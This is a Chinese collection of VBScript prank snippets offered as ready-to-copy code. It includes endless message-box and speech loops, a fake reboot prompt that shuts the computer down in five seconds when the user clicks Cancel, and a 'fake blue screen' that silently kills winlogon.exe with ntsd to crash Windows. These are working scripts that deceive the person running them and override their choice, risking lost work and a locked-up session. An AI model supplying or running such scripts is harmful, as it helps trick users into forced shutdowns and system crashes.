1、无限循环hi
复制代码 代码示例:
do
msgbox "hi"
loop
2、无限制的用英文报数
复制代码 代码示例:
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
3、计算机重启提示
复制代码 代码示例:
if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then
msgbox " 系统将立刻重起wow ~_^",,"你上当了!!"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
4、假蓝屏提醒
复制代码 代码示例:
if MsgBox("你是猪头吗?",vbYesNo,"提示")=vbyes then
msgbox "你SB啊!"
else
msgbox "还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告!!!!!!!!!"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd.exe /c call calc.exe",0